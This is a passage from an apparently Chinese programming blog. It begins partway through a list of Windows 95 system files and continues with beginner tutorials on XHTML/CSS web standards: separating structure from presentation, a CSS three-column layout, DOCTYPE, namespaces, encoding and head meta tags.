TSENG.DRV - ET4000W32显示驱动
TTY.DRV - 打印机驱动
TTY.HLP - TTY打印机驱动帮助
TYPELIB.DLL - OLE2.0
U ↑
U9415470.SPD - 打印机驱动
UBNEI.DOS - 网络适配器驱动
ULTRA124.MPD - SCSI驱动器
ULTRA24F.MPD - SCSI驱动器
UMDM16.DLL - 通用调制解调器驱动组件
UMDM32.DLL - 通用调制解调器驱动组件
UNIDRV.DLL - Microsoft通用打印机驱动库
UNIDRV.HLP - 通用打印机驱动帮助
UNIMODEM.VXD - 通用调制解调器驱动
USER32.DLL - 32位用户

V ↑
V86MMGR.VXD - V86MMGR虚拟设备
VCACHE.VXD - VCache虚拟设备
VCD.VXD - 虚拟COM驱动程序
VCOMM.VXD - VCOMM驱动程序
VCOND.VXD - Win32控制台
VDMAD.VXD - VDMAD虚拟设备
VER.DLL - 小型Win3.1安装程序16位版动态链接库
VER.NEW - 版本检测与文件安装库
VERSION.DLL - 32位版本动态链接库
VERX.DLL - 安装程序使用的版本动态库
VFAT.VXD - VFAT文件系统
VFD.VXD - 软盘虚拟设备
VFLATD.VXD - 虚拟平板帧缓存虚拟设备
VGA.DRV - VGA显示驱动程序
VIDCAP.INF - 即插即用VCD信息
VIDEOT.VXD - 视频虚拟设备
VIP.386 - TCP/IP虚拟IP设备
VJOYD.VXD - 游戏棒虚拟设备
VKD.VXD - 虚拟键盘设备
VLB32.DLL - Mail/Exchange组件
VMD.VXD - Win3.1虚拟鼠标驱动程序
VMM.VXD - 虚拟存储管理设备
VMM32.VXD - 虚拟存储管理设备
VMOUSE.VXD - 虚拟鼠标驱动程序
VNBT.386 - NetBIOS传输驱动程序
VNETBIOS.VXD - VNETBIOS虚拟设备
VNETSUP.VXD - 网络支持虚拟设备
VPD.VXD - 虚拟LPT驱动程序
VPICD.VXD - 虚拟可编程干扰控制器设备
VPOWERD.VXD - 高级电源管理虚拟设备
VREDIR.VXD - Microsoft网络32位客户端程序
VSAMI.DLL - AMI文件语法分析程序
VSASC8.DLL - ASCII文件语法分析程序
VSBMP.DLL - BMP文件语法分析程序
VSERVER.VXD - Microsoft网络32位服务器端程序
VSGIF.DLL - GIF文件语法分析程序
VSHARE.VXD - 32位共享虚拟设备驱动程序
VSMSW.DLL - Win写文件语法分析
VSPP.DLL - PowerPoint语法分析程序
VSRTF.DLL - RTF文件语法分析程序
VSTIFF.DLL - TIFF文件语法分析程序
VSW6.DLL - Word6文件语法分析程序
VSWORD.DLL - Word文件语法分析程序
VSWP5.DLL - WordPerfect5文件语法分析程序
VSXL5.DLL - Excel文件/图表语法分析程序
VTCP.386 - TCP/IP虚拟TCP驱动程序
VTDAPI.VXD - VTDAPI虚拟设备
VTDI.386 - 传输驱动接口支持程序
VXDLDR.VXD - 虚拟设备驱动程序装载器
W ↑
WAVE.INF - 即插即用音波设备信息
WDTOOOEX.MPD - SCSI驱动
WGPOADMN.DLL - Mail/Exchange组件
WHLP16T.DLL - 帮助动态链接库
WIN87EM.DLL - 80387数学仿真库
WINABC.HLP - 智能ABC帮助文件
WINBX.HLP - 表形码输入法帮助文件
WINCHA.HLP - 繁体仓颉输入法帮助文件
WINDOWS.CNT - Windows95帮助文件内容
WINDOWS.HLP - Windows95帮助文件
WINFILE.CNT - 文件管理器帮助文件内容
WINFILE.EXE - Windows工作组文件管理器
WINFILE.HLP - 文件管理器帮助文件
WINGB.HLP - 区位码输入法帮助文件
WINHLP23.HLP - Windows帮助文件
WINIME.HLP - *作指南帮助文件
WINNM.HLP - GBK内码输入法帮助文件
WININIT.EXE - Windows初始化文件
WINIPCFG.EXE - TCP/IP配置工具
WINNEWS.TXT - Winnews信息
WINPHO.HLP - 繁体注音输入法帮助文件
WINPOPUP.EXE - POPUP工具
WINREG.DLL - 远程注册支持
WINPY.HLP - 全拼输入法帮助文件
WINSOCK.DLL - Windows的套接API
WINSY.HLP - 双拼输入法帮助文件
WINXSP.HLP - GBK双拼输入法帮助文件
WINXZM.HLP - GBK郑码输入法帮助
WINZM.HLP - 郑码输入法帮助文件
WNASPI32.DLL - Windows DLL32位ASPI
WPSUNI.DRV - 传真驱动程序
WPSUNIRE.DLL - WPS主机资源执行程序

X ↑
XCOPY.EXE - DOS XCOPY工具
XCOPY32.EXE - 文件拷贝程序
XGA.DRV - XGA显示驱动程序

posted @ 2006-10-02 17:27 javaca88 阅读(185) 评论(0) 编辑

理解表现和结构相分离
 

对于初学者,我们常看见web标准的好处之一是“能做到表现和结构相分离”,那这到底是什么意思呢?我将以一个实际的例子来详细说明。首先我们必须先明白一些基本的概念:内容、结构、表现和行为。

1.内容

内容就是页面实际要传达的真正信息,包含数据、文档或者图片等。注意这里强调的“真正”,是指纯粹的数据信息本身。比如一个不包含辅助的信息,比如导航菜单、装饰性图片等。举个例子,有下面一段文本是我们页面要表现的信息。

忆江南(1)唐.白居易江南好,风景旧曾谙。(2)日出江花红胜火,春来江水绿如蓝,(3)能不忆江南。作者介绍772-846 ,字乐天,太原(今属山西)人。唐德宗朝进士,元和三年(808)拜左拾遗,后贬江州(今属江西)司马,移忠州(今属四川)刺史,又为苏州(今属江苏)、同州(今属陕西大荔)刺史。晚居洛阳,自号醉吟先生、香山居士。其诗政治倾向鲜明,重讽喻,尚坦易,为中唐大家。也是早期词人中的佼佼者,所作对后世影响甚大。注释(1)据《乐府杂录》,此词又名《谢秋娘》,系唐李德裕为亡姬谢秋娘作。又名《望江南》、《梦江南》等。分单调、双调两体。单调二十七字,双凋五十四字,皆平韵。(2)谙(音安):熟悉。(3)蓝:蓝草,其叶可制青绿染料。品评此词写江南春色,首句“江南好”,以一个既浅切又圆活的“好”字,摄尽江南春色的种种佳处,而作者的赞颂之意与向往之情也尽寓其中。同时,唯因“好”之已甚,方能“忆”之不休,因此,此句又已暗逗结句“能不忆江南”,并与之相关阖。次句“风景旧曾谙”,点明江南风景之“好”,并非得之传闻,而是作者出牧杭州时的亲身体验与亲身感受。这就既落实了“好”字,又照应了“忆”字,不失为勾通一篇意脉的精彩笔墨。三、四两句对江南之“好”进  行形象化的演绎,突出渲染江花、江水红绿相映的明艳色彩,给人以光彩夺目的强烈印象。其中,既有同色间的相互烘托,又有异色间的相互映衬,充分显示了作者善于著色的技巧。篇末,以“能不忆江南”收束全词,既托出身在洛阳的作者对江南春色的无限赞叹与怀念,又造成一种悠远而又深长的韵味,把读者带入余情摇漾的境界中。

2.结构(Structure)

可以看到上面的文本信息本身已经完整。但是混乱一团,难以阅读和理解,我们必须给它格式化一下。把它分成标题、作者、章、节、段落和列表等。

标题忆江南(1)
作者
唐.白居易
正文
江南好,风景旧曾谙。(2)
日出江花红胜火,春来江水绿如蓝,(3)
能不忆江南。
节1
作者介绍
772-846 ,字乐天,太原(今属山西)人。唐德宗朝进士,元和三年(808)拜左拾遗,后贬江州(今属江西)司马,移忠州(今属四川)刺史,又为苏州(今属江苏)、同州(今属陕西大荔)刺史。晚居洛阳,自号醉吟先生、香山居士。其诗政治倾向鲜明,重讽喻,尚坦易,为中唐大家。也是早期词人中的佼佼者,所作对后世影响甚大。
节2
注释
列表
(1)据《乐府杂录》,此词又名《谢秋娘》,系唐李德裕为亡姬谢秋娘作。又名《望江南》、《梦江南》等。分单调、双调两体。单调二十七字,双凋五十四字,皆平韵。
(2)谙(音安):熟悉。
(3)蓝:蓝草,其叶可制青绿染料。
节3
品评
此词写江南春色,首句“江南好”,以一个既浅切又圆活的“好”字,摄尽江南春色的种种佳处,而作者的赞颂之意与向往之情也尽寓其中。同时,唯因“好”之已甚,方能“忆”之不休,因此,此句又已暗逗结句“能不忆江南”,并与之相关阖。次句“风景旧曾谙”,点明江南风景之“好”,并非得之传闻,而是作者出牧杭州时的亲身体验与亲身感受。这就既落实了“好”字,又照应了“忆”字,不失为勾通一篇意脉的精彩笔墨。三、四两句对江南之“好”进  行形象化的演绎,突出渲染江花、江水红绿相映的明艳色彩,给人以光彩夺目的强烈印象。其中,既有同色间的相互烘托,又有异色间的相互映衬,充分显示了作者善于著色的技巧。篇末,以“能不忆江南”收束全词,既托出身在洛阳的作者对江南春色的无限赞叹与怀念,又造成一种悠远而又深长的韵味,把读者带入余情摇漾的境界中。

类似上面标题、作者、章、节、段落和列表,我们就把它称做结构。结构使内容更加具有逻辑性,易用性。

2.表现(Presentation)

虽然定义了结构,但是内容还是原来的样式没有改变,例如标题字体没有变大,正文的颜色也没有变化,没有背景,没有修饰。所有这些用来改变内容外观的东西,我们称之为“表现”。下面是对上面文本用表现处理过后的效果:

忆江南(1)
唐.白居易
江南好,风景旧曾谙。(2)
日出江花红胜火,春来江水绿如蓝,(3)
能不忆江南。
作者介绍

772-846 ,字乐天,太原(今属山西)人。唐德宗朝进士,元和三年(808)拜左拾遗,后贬江州(今属江西)司马,移忠州(今属四川)刺史,又为苏州(今属江苏)、同州(今属陕西大荔)刺史。晚居洛阳,自号醉吟先生、香山居士。其诗政治倾向鲜明,重讽喻,尚坦易,为中唐大家。也是早期词人中的佼佼者,所作对后世影响甚大。

注释
  • (1)据《乐府杂录》,此词又名《谢秋娘》,系唐李德裕为亡姬谢秋娘作。又名《望江南》、《梦江南》等。分单调、双调两体。单调二十七字,双凋五十四字,皆平韵。
  • (2)谙(音安):熟悉。
  • (3)蓝:蓝草,其叶可制青绿染料。
品评

此词写江南春色,首句“江南好”,以一个既浅切又圆活的“好”字,摄尽江南春色的种种佳处,而作者的赞颂之意与向往之情也尽寓其中。同时,唯因“好”之已甚,方能“忆”之不休,因此,此句又已暗逗结句“能不忆江南”,并与之相关阖。次句“风景旧曾谙”,点明江南风景之“好”,并非得之传闻,而是作者出牧杭州时的亲身体验与亲身感受。这就既落实了“好”字,又照应了“忆”字,不失为勾通一篇意脉的精彩笔墨。三、四两句对江南之“好”进  行形象化的演绎,突出渲染江花、江水红绿相映的明艳色彩,给人以光彩夺目的强烈印象。其中,既有同色间的相互烘托,又有异色间的相互映衬,充分显示了作者善于著色的技巧。篇末,以“能不忆江南”收束全词,既托出身在洛阳的作者对江南春色的无限赞叹与怀念,又造成一种悠远而又深长的韵味,把读者带入余情摇漾的境界中。

噢,很明显,我们加了2种背景,将标题字体变大并居中,将小标题加粗并变成红色,等等等等。所有这些,都是“表现”的作用。它使你的内容看上去漂亮、可爱多了!形象一点的比喻:内容是模特,结构标明头和四肢等各个部位,表现则是服装,将模特打扮得漂漂亮亮。(请原谅我用模特打比方,很多时候模特比web标准更具有吸引力。)

那么行为是什么?

3.行为(Behavior)

行为就是对内容的交互及操作效果。例如,我们最熟悉不过的JavaScript。使用JavaScript我们可以使内容动起来,可以判断一些表单提交,可以相应你的一些操作。这个我就不再举例子了。

所有HTML和XHTML页面就是由“结构、表现和行为”这三方面组成的。抽象一点理解,内容是基础层,然后是附加上去结构层和表现层,作后再对它们做点“行为”,示意草图如下:

标识语言3组成部分示意图

4.传统的HTML方法

传统的HTML3.2/4.0标签里既有控制结构的标签,例如<title>,<p>,又有控制表现的标签,例如<font>,<b>,还有本意用于结构后来被滥用于控制表现的标签,例如:<h1>,<table>等。结构标签与表现标签混杂在一起。

例如上面举例的页面,你可能很熟练的2-5个表格来控制边框、背景和文本居中;用<h2><h3>来定义标题和小节标题;用<font>和<b>来控制字体大小、颜色和粗体。轻而易举地就能制作好页面。聪明些的设计师还采用CSS样式表来统一控制一些字体的表现。下面的代码是我们最熟悉不过的了:

<table border="0" width="100%"><tr><td align="center"><h1><font color="#C61C18">忆江南</font></h1></td></tr></table>

传统的方法看上去并没有什么问题。(我们已经很习惯了,从来没有想过会有什么问题。)但是既然W3C放弃HTML,推荐XHTML和XML就一定有它的道理和原因,问题出在哪里?

问题就出在结构层和表现层混杂在一起!当我们只发布一些简单页面,没什么影响。当我们发布了大量页面,问题就来了。

第一个问题是:如何改版。假如由于某些原因我们需要把背景替换成黑色,边框变成1px黄色,文字变成白色,所有文字居中。你可能就要一页一页的修改。好,你说你用了CSS,那么恭喜你,你可以直接修改样式表,轻松实现这样简单的改版。(复杂改版暂且不提。)

第二个问题是:数据的利用。本质上讲所有页面信息都是数据。当我发布了唐诗300首,宋词100首,就是一个可观的数据库,这个应该不难理解。那么好,是数据就存在数据查询,处理和交换的问题。假如我所有的页面上都不需要显示“品评”这一小节;假如我要将页面数据转成excel格式;假如我要打印一个干净内容的页面(不要背景、导航、版权等不相干信息)怎么办?传统的解决方法是:一页一页删除“品评”小节;一页一页地拷贝粘贴到excel,一页一页地制作"打印友好页"。这样做显然不是有效率的办法。

实际上,第一个问题实质是批量改变"表现"。由于传统HTML方法的结构并不明显,甚至可以视作只有表现,我们就象设计时尚杂志那样精心画出每一页。严谨的设计师可以控制到每1px的细节。内容与表格紧密的嵌套、混杂在一起,结构只是用表现来表现出来,而不是用标签。这种设计方法下,任何内容的变化,结构的变化都会影响整个页面的表现,都需要一点一点细节的修改。CSS的出现,一开始似乎就是用来解决"批量改表现"的问题。大部分的网页设计师已经能够熟练使用CSS来控制字体的大小颜色,超链接的效果,表格的边框等等,已经体会到CSS批量改变表现的效率。

第二个问题则是无法避免。由于结构和表现混杂在一起(内容被n层的表格拆分),你无法判断哪个td里面到那个td是你需要的数据,无法剥离其中夹杂的<font><b>的标签。上例中,从哪里开始是正文?哪里开始是“品评”小节?哪些是附加信息不需要打印?我们都无法让电脑自己去判断,唯一的方法是人工判断,手工处理。结构和表现混杂在一起,页面就好比是一张图片,你无法让电脑搜索其中的文字。(哦,我听见有人说:我的站点有全文检索啊。恩,我想说的是,第一,这样的检索效率非常低,你需要滤过整个内容,匹配到你的"检索关键字",例如,我要查找作者李白,搜索引擎会检索页面所有文字才能告诉你这页里面含有"李白",而且不一定出现在作者上。第二,这样的检索对数据处理和交换毫无用处。例如我要将所有作者李白的诗摘出来,我要给所有作者增加一个肖像图片,这样的搜索毫无帮助。)

对于第二个问题,要如何解决呢?解决的办法就是:结构清晰化,将内容、结构与表现相分离。

5.web标准推荐的方法

对于内容、结构与表现相分离,最早是在软件开发架构理论中提出来的。QQ用过吧,QQ面板的变更皮肤就是内容不变,外观表现在变化;还有winamp的skin也是这种原理的典型体现。其实我们大多数的设计师已经在实践中都接触到。我们的动态信息发布系统,实际上就是基于这个原理制作的,设计师只需要设计模版,程序员将数据(标题、作者、发布日期、摘要、相关文章、相关图片等等)从数据库中读出,嵌入你的模板,形成一个新的页面再展示给浏览者。其中的内容已经被结构化后分别保存在数据库的不同字段中。例如查找作者,我们只要在作者字段中搜索,这样的效率就提高很多了。

上面都是有赖于程序,如果页面文档本身就能实现表现和结构相分离,那么数据的交换和再利用不就更方便了。嘿嘿,其实XML就是奔着这个方向去的,XML允许你自己定制结构标识,还提供了XSLT用来格式化、查询和处理文档内容。例如上面的诗词页面,用XML写出来的代码就象这样:

<标题>忆江南</标题>
<作者>唐.白居易</作者>
<正文>江南好...</正文>
<作者介绍>772-846 ,字乐天...</作者介绍>
<注释>据《乐府杂录》...</注释>
<品评>此词写江南春色...</品评>

这些<标题><作者>都是自己定义的标签,这样文档结构非常清晰,查询和处理也很简单。啊哦,说远了。还是回到目前能应用的web标准方法上。

web标准方法目前推荐大家使用XHTML+CSS来制作网站。目标是使结构与表现彻底相分离。

就是说,XHTML的标签只用来定义文档的结构,所有涉及表现的东西通通剥离出来,把它放到一个单独的文件里,这个单独的文件就是CSS。(CSS的好处上面已经讲到,可以批量处理表现)。采用这种方法后,上面的第二个问题中的3个假设困难就迎刃而解。我们可以利用样式表将所有"品评"结构不显示(DISPLAY: none);我们可以根据页面结构标签将内容自动导入到excel;我们可以设计一个专门的打印样式表,隐藏掉所有附加的信息,只打印干净的内容。就这么简单。

现在你明白了吧,为什么我们反对用表格设计布局。原因是<table>用于布局的时候,它是一个控制表现的标签。混杂在内容和结构中,使我们的内容数据无法再利用。结构与表现相分离带来的好处主要有:

  • 1.数据的多样显示。通过不同的样式表适应不同的设备,做到内容与设备无关
  • 2.保持整个站点的视觉一致性变得非常简单,修改样式表就可以轻松改版;
  • 3.由于结构清晰,数据的集成、更新和处理更加方便灵活;
  • 4.更有意义的搜索。

好了,说到这,关于表现与结构相分离的概念,您是否有一点理解?如果还是模模糊糊,也不要紧,自己实际制作体验一把,在实践中逐步领会。学习web标准需要循序渐进,阿捷和您一样,也在努力学习中。

要一个符合wbe标准的实际例子?查看本页原代码,讲"表现"概念的那个例子就是用CSS+DIV实现的。样式表的内容直接在本页head区,没有另外单独调用,便于你的查看:)

posted @ 2006-10-02 17:05 javaca88 阅读(37) 评论(0) 编辑

第9天:第一个CSS布局实例

接下来开始要真正设计布局了。和传统的方法一样,你首先要在脑海里有大致的轮廓构想,然后用photoshop把它画出来。你可能看到有关web标准的站点大都很朴素,因为web标准更关注结构和内容,实际上它与网页的美观没有根本冲突,你想怎么设计就怎么设计,用传统表格方法实现的布局,用DIV也可以实现。技术有一个成熟的过程,把DIV看成和TABLE一样的工具,如何运用就看你的想象力了。

注:在实际应用过程中,DIV在有些地方的确不如表格方便,比如背景色的定义。但任何事情都有得有失,取舍在于你的价值判断。好,不罗嗦了,我们开始:

1.确定布局

w3cn的最初设计草图如下:

w3cn设计草图

用表格的设计方法的话,一般都是上中下三行布局表格布局示意。用DIV的话,我考虑使用三列来布局,成为这样表格布局示意

2.定义body样式

先定义整个页面的body的样式,代码如下:

body { MARGIN: 0px;
PADDING: 0px;
BACKGROUND: url(../images/bg_logo.gif) #FEFEFE no-repeat right bottom;
FONT-FAMILY: 'Lucida Grande','Lucida Sans Unicode','宋体','新宋体',arial,verdana,sans-serif;
COLOR: #666;
FONT-SIZE:12px;
LINE-HEIGHT:150%; }

以上代码的作用在上一天的教程有详细说明,大家应该一看就明白。定义了边框边距为0;背景颜色为#FEFEFE,背景图片为bg_logo.gif,图片位于页面右下角,不重复;定义了字体尺寸为12px;字体颜色为#666;行高150%。

3.定义主要的div

初次使用CSS布局,我决定采用固定宽度的三列布局(比自适应分辨率的设计简单,hoho,别说我偷懒,先实现简单的,增加点信心嘛!)。分别定义左中右的宽度为200:300:280,在CSS中如下定义:


/*定义页面左列样式*/
#left{ WIDTH:200px;
MARGIN: 0px;
PADDING: 0px;
BACKGROUND: #CDCDCD;
}
/*定义页面中列样式*/
#middle{ POSITION: absolute;
LEFT:200px;
TOP:0px;
WIDTH:300px;
MARGIN: 0px;
PADDING: 0px;
BACKGROUND: #DADADA;
}
/*定义页面右列样式*/
#right{ POSITION: absolute;
LEFT:500px;
TOP:0px;
WIDTH:280px;
MARGIN: 0px;
PADDING: 0px;
BACKGROUND: #FFF; }

注意:定义中列和右列div我都采用了POSITION: absolute;,然后分别定义了LEFT:200px;TOP:0px;LEFT:500px;TOP:0px;这是这个布局的关键,我采用了层的绝对定位。定义中间列距离页面左边框200px,距离顶部0px;定义右列距离页面左边框500px,距离顶部0px;。

这时候整个页面的代码是:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="gb2312">
<head>
<title>欢迎进入新《网页设计师》:web标准教程及推广</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<meta http-equiv="Content-Language" content="gb2312" />
<meta content="all" name="robots" />
<meta name="author" content="ajie(at)netease.com,阿捷" />
<meta name="Copyright" content="www.w3cn.org,自由版权,任意转载" />
<meta name="description" content="新网页设计师,web标准的教程站点,推动web标准在中国的应用." />
<meta content="web标准,教程,web, standards, xhtml, css, usability, accessibility" name="keywords" />
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="shortcut icon" href="http://www.w3cn.org/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" rev="stylesheet" href="css/style01.css" type="text/css" media="all" />
</head>
<body>
<div id="left">页面左列</div>
<div id="middle">页面中列</div>
<div id="right">页面右列</div>
</body>
</html>

这时候页面的效果仅仅可以看到三个并列的灰色矩形,和一个背景图。但是我希望高度是满屏的,怎么办呢?

4.100%自适应高度?

为了保持三列有同样的高度,我尝试在#left、#middle和#right中设置"height:100%;",但发现完全没有预想的自适应高度效果。经过一番尝试后,我只好给每个div一个绝对高度:"height:1000px;",并且随着内容的增加,需要不断修正这个值。难道没有办法自适应高度了吗?随着阿捷自己学习的深入,发现一个变通的解决办法,实际上根本不需要设置100%,我们已经被table思维禁锢太深了,这个办法在下一节的学习中详细介绍。

第10天:自适应高度

如果我们想在3列布局的最后加一行页脚,放版权之类的信息。就遇到必须对齐3列底部的问题。在table布局中,我们用大表格嵌套小表格的方法,可以很方便对齐三列;而用div布局,三列独立分散,内容高低不同,就很难对齐。其实我们完全可以嵌套div,把三列放进一个DIV中,就做到了底部对齐。下面是实现例子(白色背景框模拟一个页面):

Body
这里是#mainbox { MARGIN: 0px; WIDTH: 580px; BACKGROUND: #FFF; }包含了#menu,#sidebar和#content

这里是#content{ FLOAT: right; MARGIN: 1px 0px 2px 0px; PADDING:0px; WIDTH: 400px; BACKGROUND: #E0EFDE;}

这里是主要内容,根据内容自动适应高度

这里是主要内容,根据内容自动适应高度

这里是主要内容,根据内容自动适应高度

这个例子的页面主要代码如下:

<div id="header"></div>
<div id="mainbox">
    <div id="menu"></div>
    <div id="sidebar"></div>
    <div id="content"></div>
</div>
<div id="footer"></div>

具体样式表都写在相应版块里了。重点在于#mainbox层嵌套了#menu,#sidebar和#content三个层。当#content的内容增加,#content的高度就会增高,同时#mainbox的高度也会撑开,#footer层就自动下移。这样就实现了高度的自适应。

另外值得注意的是:#menu和#content都是浮动在页面右面"FLOAT: right;",#sidebar是浮动在#menu层的左面"FLOAT: left;",这是浮动法定位,还可以采用绝对定位来实现这样的效果。

这个方法存在另一个问题,就是侧列#sidebar的背景无法百分之百。一般的解决办法就是用body的背景色来填充满。(不能使用#mainbox的背景色,因为在Mozilla等浏览器中#mainbox的背景色失效。)

好了,主要的框架已经搭建完毕,剩下的工作只是往里面添砖加瓦。如果你希望尝试其他布局,推荐看看以下文章:

Tips:[onestab 的"P.I.E"专题] 还有更多精彩介绍,推荐去看看。

posted @ 2006-10-02 17:03 javaca88 阅读(83) 评论(0) 编辑

第一天
开始制作符合标准的站点,第一件事情就是声明符合自己需要的DOCTYPE。

查看本站首页原代码,可以看到第一行就是:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

打开一些符合标准的站点,例如著名web设计软件开发商Macromedia,设计大师Zeldman的个人网站,会发现同样的代码。而另一些符合标准的站点(例如k10k.net)的代码则如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">

那么这些代码有什么含义?一定要放置吗?

什么是DOCTYPE

上面这些代码我们称做DOCTYPE声明。DOCTYPE是document type(文档类型)的简写,用来说明你用的XHTML或者HTML是什么版本。

其中的DTD(例如上例中的xhtml1-transitional.dtd)叫文档类型定义,里面包含了文档的规则,浏览器就根据你定义的DTD来解释你页面的标识,并展现出来。

要建立符合标准的网页,DOCTYPE声明是必不可少的关键组成部分;除非你的XHTML确定了一个正确的DOCTYPE,否则你的标识和CSS都不会生效。

XHTML 1.0 提供了三种DTD声明可供选择:

  • 过渡的(Transitional):要求非常宽松的DTD,它允许你继续使用HTML4.01的标识(但是要符合xhtml的写法)。完整代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

  • 严格的(Strict):要求严格的DTD,你不能使用任何表现层的标识和属性,例如<br>。完整代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

  • 框架的(Frameset):专门针对框架页面设计使用的DTD,如果你的页面中包含有框架,需要采用这种DTD。完整代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">

我们选择什么样的DOCTYPE

理想情况当然是严格的DTD,但对于我们大多数刚接触web标准的设计师来说,过渡的DTD(XHTML 1.0 Transitional)是目前理想选择(包括本站,使用的也是过渡型DTD)。因为这种DTD还允许我们使用表现层的标识、元素和属性,也比较容易通过W3C的代码校验。

注:上面说的"表现层的标识、属性"是指那些纯粹用来控制表现的tag,例如用于排版的表格、背景颜色标识等。在XHTML中标识是用来表示结构的,而不是用来实现表现形式,我们过渡的目的是最终实现数据和表现相分离。

打个比方:人体模特换衣服。模特就好比数据,衣服则是表现形式,模特和衣服是分离的,这样你就可以随意换衣服。而原来HTML4中,数据和表现是混杂在一起的,要一次性换个表现形式非常困难。呵呵,有点抽象了,这个概念需要我们在应用过程中逐步领会。

补充

DOCTYPE声明必须放在每一个XHTML文档最顶部,在所有代码和标识之上。



第2天:什么是名字空间

DOCTYPE声明好以后,接下来的代码是:

<html xmlns="http://www.w3.org/1999/xhtml" lang="gb2312">

通常我们HTML4.0的代码只是<html>,这里的"xmlns"是什么呢?

这个"xmlns"是XHTML namespace的缩写,叫做"名字空间"声明。名字空间是什么作用呢?阿捷自己的理解是:

由于xml允许你自己定义自己的标识,你定义的标识和其他人定义的标识有可能相同,但表示不同的意义。当文件交换或者共享的时候就容易产生错误。为了避免这种错误发生,XML采用名字空间声明,允许你通过一个网址指向来识别你的标识。例如:

小王和小李都定义了一个<book>标识,如果小王的名字空间是"http://www.xiaowang.com",小李的名字空间是"http://www.xiaoli.com",那么当两个文档交换数据时,也不会混淆<book>标识,因为它属于不同的名字空间。

更通俗的解释是:名字空间就是给文档做一个标记,告诉别人,这个文档是属于谁的。只不过这个"谁"用了一个网址来代替。

XHTML是HTML向XML过渡的标识语言,它需要符合XML文档规则,因此也需要定义名字空间。又因为XHTML1.0不能自定义标识,所以它的名字空间都相同,就是"http://www.w3.org/1999/xhtml"。如果你还不太理解也不要紧,目前阶段我们只要照抄代码就可以了。

后面的lang="gb2312",指定你的文档用简体中文。

第3天:定义语言编码

第三步是定义你的语言编码,类似这样:

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

为了被浏览器正确解释和通过W3C代码校验,所有的XHTML文档都必须声明它们所使用的编码语言,我们一般使用gb2312(简体中文),制作多国语言页面也有可能用Unicode、ISO-8859-1等,根据你的需要定义。

通常这样定义就可以了。但是要补充说明的是,XML文档并不是这样定义语言编码的,XML的定义方式如下:

<?xml version="1.0" encoding="gb2312"?>

你在Macromedia.com的首页代码第一行就可以看见类似的语句,这也是W3C推荐使用的定义方法。那为什么我们不直接采用这种方法呢?原因是一些浏览器对标准的支持不完善,不能正确理解这样的定义方法,比如IE6/windows。所以在目前过渡方案下,我们依然推荐使用meta方式。当然,你可以两种方法都写。

看本站源代码,你会发现语言编码定义的地方还多一句:

<meta http-equiv="Content-Language" content="gb2312" />

这是针对老版本浏览器写的,以保证各种浏览器都能正确解释页面。

注意:在上面声明语句的最后,你看到有一个斜杠"/",这和我们以前的HTML4.0的代码写法不同。原因是XHTML语法规则要求所有的标识都必须有开始和结束。例如<body>和</body>、<p>和</p>等,对于不成对的标识,要求在标识最后加一个空格,然后跟一个"/"。例如<br>写成<br />、<img>写成<img />,加空格的原因是避免代码连在一起浏览器不识别。

第4天:调用样式表

用web标准设计网站,过渡的方法主要是采用XHTML+CSS,css样式表是必不可少的。这就要求所有网页设计师必须熟练掌握CSS,如果你以前不常用,那么现在就开始学习吧。要制作符合web标准的网站,不懂CSS是设计不出漂亮的页面的。

事实上,所有表现的地方都需要用CSS来实现。我们以前都习惯用table来定位和布局,现在要改用DIV来定位和布局。这是思维方式的变化,一开始有些不习惯。呵呵,任何变革都会有阻力的,为了享受标准带来的"益处",放弃一些老的传统做法是值得的。

外部调用样式表

在以前,我们通常采用2种方法使用样式表:

  • 页面内嵌法:就是将样式表直接写在页面代码的head区。类似这样:

<style type="text/css"> <!-- body { background : white ; color : black ; } --> </style>

  • 外部调用法:将样式表写在一个独立的.css文件中,然后在页面head区用类似以下代码调用。

<link rel="stylesheet" rev="stylesheet" href="css/style.css" type="text/css" media="all" />

在符合web标准的设计中,我们使用外部调用法,好处不言而喻,你可以不修改页面只修改.css文件而改变页面的样式。如果所有页面都调用同一个样式表文件,那么改一个样式表文件,可以改变所有文件的样式。

双表法调用样式表

查看某些符合标准站点的原代码,你可能看到,在调用样式表的地方有如下2句:

<link rel="stylesheet" rev="stylesheet" href="css/style.css" type="text/css" media="all" /> <style type="text/css" media="all">@import url( css/style01.css );</style>

为什么要写两次呢?

实际上一般情况下用外联法调用(就是第一句)就足够了。我这里使用双表调用只是一种示例。其中的"@import"命令用于输入样式表。而"@import"命令在netscape 4.0版本浏览器是无效的。也就是说,当你希望某些效果在netscape 4.0浏览器中隐藏,在4.0以上或其它浏览器中又显示的时候,你可以采用"@import"命令方法调用样式表。

第5天:head区的其他设置

这些技巧主要讲meta标签设置的,其实与符合web标准关系不大,只要注意在最后加"/"关闭标签就可以,但是既然是入门教程,就写得详细一点吧。

收藏夹小图标

如果你将本站加入收藏夹,可以看到在收藏夹网址之前的IE图标变成了本站特别的图标收藏夹小图标。要实现这样效果很简单,首先制作一个16x16的icon图标,命名为favicon.ico,放在根目录下。然后将下面的代码嵌入head区:

<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" />

为搜索引擎准备的内容

代码如下,替换成你自己站点的内容就可以:

  • 允许搜索机器人搜索站内所有链接。如果你想某些页面不被搜索,推荐采用robots.txt方法

<meta content="all" name="robots" />

  • 设置站点作者信息

<meta name="author" content="ajie@netease.com,阿捷" />

  • 设置站点版权信息

